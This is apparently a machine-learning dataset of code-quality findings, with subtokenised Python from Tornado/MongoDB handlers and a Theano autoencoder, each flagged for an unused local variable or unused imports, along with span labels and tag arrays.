"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "node_", "._", "geti", "tera", "tor_", "(_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Cond", "itional", "Element_", "(_", "node_", ",_", "tag_", ",_", "condition_", ",_", "attr_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Utili", "ty", " ", "function", " ", "for", " ", "addin", "g", " ", "nodes", " ", "if", " ", "cert", "ain", " ", "crite", "ria", " ", "are", " ", "fulfill", "ed", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "option", "al", " ", "attribute", " ", "can", " ", "be", " ", "pass", "ed", " ", "in", " ", "whi", "ch", " ", "will", " ", "alw", "ay", "s", " ", "be", " ", "serial", "ise", "d", " ", "as", " ", "'", "1", "'", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sub_", "=_", "partial_", "(_", "Sub", "Element_", ",_", "node_", ",_", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "bool_", "(_", "condition_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "attr_", ",_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elem_", "=_", "sub_", "(_", "{_", "attr_", ":_", "'", "1", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "attr_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elem_", "=_", "sub_", "(_", "attr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elem_", "=_", "sub_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "elem_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "local", "name_", "(_", "node_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", "=_", "NS", "\\u", "REGEX_", "._", "match_", "(_", "node_", "._", "tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "m_", "._", "group_", "(_", "'", "local", "name", "'_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 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local variable
tgonzales/mingus/mingus/resources.py
[ { "content": " def getParams(self):\n \"\"\"\n Check the schematic object to see if arguments from Tornado can be lists or dictionaries\n \"\"\"\n types = [DictType, GeoPointType, ListType, ModelType]\n fieldkeys = self.fields.keys()\n\n j = JSONSerializer() \n if 'q' in self.arguments:\n params = tornado.escape.to_unicode(self.arguments['q'][0])\n params = tornado.escape.json_decode(params)\n self.arguments = params\n else:\n for k,v in self.arguments.items():\n if type(v) is list and k in fieldkeys and self.fields[k] not in types:\n self.arguments[k] = self.arguments[k][0].decode(\"utf-8\")\n\n if len(self.args):\n self.arguments['_id'] = self.args[0]\n\n return self.arguments", "metadata": "root.ModelParams.getParams", "header": "['class', 'ModelParams', '(', 'object', ')', ':', '___EOS___']", "index": 23 }, { "content": " @tornado.gen.coroutine\n def bulk(self):\n params = self.params.getParams()\n data = params['bulk']\n try:\n bulk = self.collection.initialize_ordered_bulk_op()\n data = params['bulk']\n if 'insert' in data:\n for obj in data['insert']:\n obj['created'] = datetime.datetime.utcnow()\n obj['_id'] = ObjectId()\n bulk.insert(obj)\n result = yield bulk.execute()\n except BulkWriteError as e:\n self.setResponseDictErrors(e)\n\n '''\n bulk = self.collection.initialize_ordered_bulk_op()\n # Remove all documents from the previous example.\n bulk.find({}).remove()\n for i in range(10000):\n bulk.insert({'_id': i})\n #bulk.insert({'_id': 2})\n #bulk.insert({'_id': 3})\n bulk.find({'_id': 1}).update({'$set': {'foo': 'bar'}})\n bulk.find({'_id': 4}).upsert().update({'$inc': {'j': 1}})\n bulk.find({'j': 1}).replace_one({'j': 2})\n result = yield bulk.execute()\n '''", "metadata": "root.ResourceModel.bulk", "header": "['class', 'ResourceModel', '(', 'Model', ')', ':', '___EOS___']", "index": 276 }, { "content": " @tornado.gen.coroutine\n def patch(self):\n params = self.params.getParamsParse()\n obj = {key: value for key, value in params.items() if key is not '_id'}\n oid = self.getIdDict()\n try:\n result = yield self.collection.update(oid, {'$set':obj}, upsert=True)\n self.setResponseDictSuccess({\"_id\": params['_id']})\n except ValidationError as e:\n self.setResponseDictErrors(e)\n return", "metadata": "root.ResourceModel.patch", "header": "['class', 'ResourceModel', '(', 'Model', ')', ':', '___EOS___']", "index": 306 } ]
[ { "span": "j ", "start_line": 30, "start_column": 8, "end_line": 30, "end_column": 9 }, { "span": "result ", "start_line": 288, "start_column": 12, "end_line": 288, "end_column": 18 }, { "span": "result ", "start_line": 312, "start_column": 12, "end_line": 312, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Model", "Params_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Params_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Check", " ", "the", " ", "schematic", " ", "object", " ", "to", " ", "see", " ", "if", " ", "argu", "ment", "s", " ", "from", " ", "Tor", "nad", "o", " ", "can", " ", "be", " ", "lists", " ", "or", " ", "dictionar", "ies", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "types_", "=_", "[_", "Dict", "Type_", ",_", "Geo", "Point", "Type_", ",_", "List", "Type_", ",_", "Model", "Type_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "field", "keys_", "=_", "self_", "._", "fields_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "j_", "=_", "JSO", "NS", "eria", "lize", "r_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "q", "'_", "in_", "self_", "._", "arguments_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "tornado_", "._", "escape_", "._", "to", "\\u", "unicode_", "(_", "self_", "._", "arguments_", "[_", "'", "q", "'_", "]_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "tornado_", "._", "escape_", "._", "json", "\\u", "decode_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "arguments_", "=_", "params_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "k_", ",_", "v_", "in_", "self_", "._", "arguments_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "v_", ")_", "is_", "list_", "and_", "k_", "in_", "field", "keys_", "and_", "self_", "._", "fields_", "[_", "k_", "]_", "not_", "in_", "types_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "arguments_", "[_", "k_", "]_", "=_", "self_", "._", "arguments_", "[_", "k_", "]_", "[_", "0_", "]_", "._", "decode_", "(_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "self_", "._", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "arguments_", "[_", "'\\u", "id", "'_", "]_", "=_", "self_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "arguments_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Model_", "(_", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "tornado_", "._", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "bulk_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "self_", "._", "params_", "._", "get", "Params_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "params_", "[_", "'", "bul", "k", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bulk_", "=_", "self_", "._", "collection_", "._", "initialize", "\\u", "order", "ed", "\\u", "bul", "k", "\\u", "op_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "params_", "[_", "'", "bul", "k", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "insert", "'_", "in_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "obj_", "in_", "data_", "[_", "'", "insert", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "obj_", "[_", "'", "created", "'_", "]_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "[_", "'\\u", "id", "'_", "]_", "=_", "Object", "Id_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bulk_", "._", "insert_", "(_", "obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "yield_", "bulk_", "._", "execute_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Bul", "k", "Write", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set", "Respons", "e", "Dict", "Errors_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", " ", " ", " ", " ", "bul", "k", " ", "=", " ", "self", ".", "collection", ".", "initialize", "\\u", "order", "ed", "\\u", "bul", "k", "\\u", "op", "()", "\\", "10", ";", " ", " ", " ", " ", "#", " ", "Remove", " ", "all", " ", "document", "s", " ", "from", " ", "the", " ", "previ", "ous", " ", "example", ".", "\\", "10", ";", " ", " ", " ", " ", "bul", "k", ".", "find", "({})", ".", "remove", "()", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "i", " ", "in", " ", "range", "(", "10000", "):", "\\", "10", ";", " ", " ", " ", " ", "bul", "k", ".", "insert", "({", "'\\u", "id", "':", " ", "i", "})", "\\", "10", ";", " ", " ", " ", " ", "#", "bul", "k", ".", "insert", "({", "'\\u", "id", "':", " ", "2", "})", "\\", "10", ";", " ", " ", " ", " ", "#", "bul", "k", ".", "insert", "({", "'\\u", "id", "':", " ", "3", "})", "\\", "10", ";", " ", " ", " ", " ", "bul", "k", ".", "find", "({", "'\\u", "id", "':", " ", "1", "}).", "update", "({", "'$", "set", "':", " ", "{", "'", "foo", "':", " ", "'", "bar", "'}", "})", "\\", "10", ";", " ", " ", " ", " ", "bul", "k", ".", "find", "({", "'\\u", "id", "':", " ", "4", "}).", "upse", "rt", "()", ".", "update", "({", "'$", "inc", "':", " ", "{", "'", "j", "':", " ", "1", "}}", ")", "\\", "10", ";", " ", " ", " ", " ", "bul", "k", ".", "find", "({", "'", "j", "':", " ", "1", "}).", "replace", "\\u", "one", "({", "'", "j", "':", " ", "2", "})", "\\", "10", ";", " ", " ", " ", " ", "result", " ", "=", " ", "yield", " ", "bul", "k", ".", "execute", "()", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reso", "urc", "e", "Model_", "(_", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "tornado_", "._", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "patch_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "params_", "=_", "self_", "._", "params_", "._", "get", "Param", "s", "Parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "=_", "{_", "key_", ":_", "value_", "for_", "key_", ",_", "value_", "in_", "params_", "._", "items_", "(_", ")_", "if_", "key_", "is_", "not_", "'\\u", "id", "'_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "oid_", "=_", "self_", "._", "get", "Id", "Dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "yield_", "self_", "._", "collection_", "._", "update_", "(_", "oid_", ",_", "{_", "'$", "set", "'_", ":_", "obj_", "}_", ",_", "upsert_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Respons", "e", "Dict", "Success_", "(_", "{_", "\"\\u", "id", "\"_", ":_", "params_", "[_", "'\\u", "id", "'_", "]_", "}_", ")_", "\\u\\u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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
hycis/Pynet/hps/models/Laura_No_Transpose.py
[ { "content": "\n\nfrom jobman import DD, expand, flatten\n\nimport pynet.layer as layer\nfrom pynet.model import *\nfrom pynet.layer import *\nfrom pynet.datasets.mnist import Mnist, Mnist_Blocks\nimport pynet.datasets.spec as spec\nimport pynet.datasets.mnist as mnist\nimport pynet.datasets.transfactor as tf\nimport pynet.datasets.mapping as mapping\nimport pynet.learning_method as learning_methods\nfrom pynet.learning_rule import LearningRule\nfrom pynet.log import Log\nfrom pynet.train_object import TrainObject\nfrom pynet.cost import Cost\nimport pynet.datasets.preprocessor as preproc\nimport pynet.datasets.dataset_noise as noisy\nimport pynet.layer_noise as layer_noise\n\nimport cPickle\nimport os\n\nfrom hps.models.model import AE\n\nimport theano\nfrom theano.sandbox.cuda.var import CudaNdarraySharedVariable\nfloatX = theano.config.floatX\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Laura_No_Transpose(AE):\n\n\n\n\n\n\n\n", "metadata": "root.Laura_No_Transpose", "header": "['module', '___EOS___']", "index": 30 }, { "content": " def __init__(self, state):\n self.state = state", "metadata": "root.Laura_No_Transpose.__init__", "header": "['class', 'Laura_No_Transpose', '(', 'AE', ')', ':', '___EOS___']", "index": 32 }, { "content": " def run(self):\n\n dataset = self.build_dataset()\n learning_rule = self.build_learning_rule()\n learn_method = self.build_learning_method()\n\n if self.state.num_layers == 1:\n model = self.build_one_hid_model_no_transpose(dataset.feature_size())\n elif self.state.num_layers == 2:\n model = self.build_two_hid_model_no_transpose(dataset.feature_size())\n elif self.state.num_layers == 3:\n model = self.build_three_hid_model_no_transpose(dataset.feature_size())\n else:\n raise ValueError()\n\n database = self.build_database(dataset, learning_rule, learn_method, model)\n log = self.build_log(database)\n\n dataset.log = log\n\n train_obj = TrainObject(log = log,\n dataset = dataset,\n learning_rule = learning_rule,\n learning_method = learn_method,\n model = model)\n\n train_obj.run()\n\n log.info(\"Fine Tuning\")\n\n for layer in train_obj.model.layers:\n layer.dropout_below = None\n layer.noise = None\n\n train_obj.setup()\n train_obj.run()", "metadata": "root.Laura_No_Transpose.run", "header": "['class', 'Laura_No_Transpose', '(', 'AE', ')', ':', '___EOS___']", "index": 36 }, { "content": " def build_one_hid_model_no_transpose(self, input_dim):\n model = AutoEncoder(input_dim = input_dim, rand_seed=self.state.model.rand_seed)\n hidden1 = self.build_layer(self.state.hidden1)\n h1_mirror = self.build_layer(self.state.h1_mirror)\n model.add_encode_layer(hidden1)\n model.add_decode_layer(h1_mirror)\n return model", "metadata": "root.Laura_No_Transpose.build_one_hid_model_no_transpose", "header": "['class', 'Laura_No_Transpose', '(', 'AE', ')', ':', '___EOS___']", "index": 74 }, { "content": " def build_two_hid_model_no_transpose(self, input_dim):\n model = AutoEncoder(input_dim = input_dim, rand_seed=self.state.model.rand_seed)\n hidden1 = self.build_layer(self.state.hidden1)\n hidden2 = self.build_layer(self.state.hidden2)\n h1_mirror = self.build_layer(self.state.h1_mirror)\n h2_mirror = self.build_layer(self.state.h2_mirror)\n model.add_encode_layer(hidden1)\n model.add_encode_layer(hidden2)\n model.add_decode_layer(h2_mirror)\n model.add_decode_layer(h1_mirror)\n return model", "metadata": "root.Laura_No_Transpose.build_two_hid_model_no_transpose", "header": "['class', 'Laura_No_Transpose', '(', 'AE', ')', ':', '___EOS___']", "index": 83 }, { "content": " def build_three_hid_model_no_transpose(self, input_dim):\n model = AutoEncoder(input_dim = input_dim, rand_seed=self.state.model.rand_seed)\n hidden1 = self.build_layer(self.state.hidden1)\n hidden2 = self.build_layer(self.state.hidden2)\n hidden3 = self.build_layer(self.state.hidden3)\n h1_mirror = self.build_layer(self.state.h1_mirror)\n h2_mirror = self.build_layer(self.state.h2_mirror)\n h3_mirror = self.build_layer(self.state.h3_mirror)\n model.add_encode_layer(hidden1)\n model.add_encode_layer(hidden2)\n model.add_encode_layer(hidden3)\n model.add_decode_layer(h3_mirror)\n model.add_decode_layer(h2_mirror)\n model.add_decode_layer(h1_mirror)\n return model", "metadata": "root.Laura_No_Transpose.build_three_hid_model_no_transpose", "header": "['class', 'Laura_No_Transpose', '(', 'AE', ')', ':', '___EOS___']", "index": 95 } ]
[ { "span": "from jobman import DD, expand, flatten", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 38 }, { "span": "import pynet.layer as layer", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 27 }, { "span": "from pynet.datasets.mnist import Mnist, Mnist_Blocks", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 52 }, { "span": "import pynet.datasets.spec as spec", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 34 }, { "span": "import pynet.datasets.mnist as mnist", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 36 }, { "span": "import pynet.datasets.transfactor as tf", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 39 }, { "span": "import pynet.datasets.mapping as mapping", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 40 }, { "span": "import pynet.learning_method as learning_methods", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 48 }, { "span": "from pynet.learning_rule import LearningRule", "start_line": 13, "start_column": 0, "end_line": 13, "end_column": 44 }, { "span": "from pynet.log import Log", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 25 }, { "span": "from pynet.cost import Cost", "start_line": 16, "start_column": 0, "end_line": 16, "end_column": 27 }, { "span": "import pynet.datasets.preprocessor as preproc", "start_line": 17, "start_column": 0, "end_line": 17, "end_column": 45 }, { "span": "import pynet.datasets.dataset_noise as noisy", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 44 }, { "span": "import pynet.layer_noise as layer_noise", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 39 }, { "span": "import cPickle", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 14 }, { "span": "import os", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 9 }, { "span": "from theano.sandbox.cuda.var import CudaNdarraySharedVariable", "start_line": 27, "start_column": 0, "end_line": 27, "end_column": 61 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "job", "man_", "import_", "DD", "_", ",_", "expand_", ",_", "flatten_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "pyn", "et_", "._", "layer_", "as_", "layer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "model_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "layer_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "datasets_", "._", "mnist_", "import_", "Mn", "ist_", ",_", "Mn", "ist", "\\u", "Blocks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "spec_", "as_", "spec_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "mnist_", "as_", "mnist_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "transf", "actor_", "as_", "tf_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "mapping_", "as_", "mapping_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "learn", "ing", "\\u", "method_", "as_", "learn", "ing", "\\u", "methods_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "learn", "ing", "\\u", "rule_", "import_", "Learn", "ing", "Rule_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "log_", "import_", "Log_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "train", "\\u", "object_", "import_", "Train", "Object_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "pyn", "et_", "._", "cost_", "import_", "Cost_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "preprocessor_", "as_", "preproc", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "datasets_", "._", "dataset", "\\u", "noise_", "as_", "noisy", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pyn", "et_", "._", "layer", "\\u", "noise_", "as_", "layer", "\\u", "noise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "c", "Pickle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "hps", "_", "._", "models_", "._", "model_", "import_", "AE", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "theano_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "theano_", "._", "sandbox_", "._", "cuda_", "._", "var_", "import_", "Cu", "da", "Nd", "array", "Share", "d", "Variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "float", "X_", "=_", "theano_", "._", "config_", "._", "float", "X_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Lau", "ra", "\\u", "No", "\\u", "Transpose", "_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", "No", "\\u", "Transpose", "_", "(_", "AE", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "state_", "=_", "state_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Lau", "ra", "\\u", 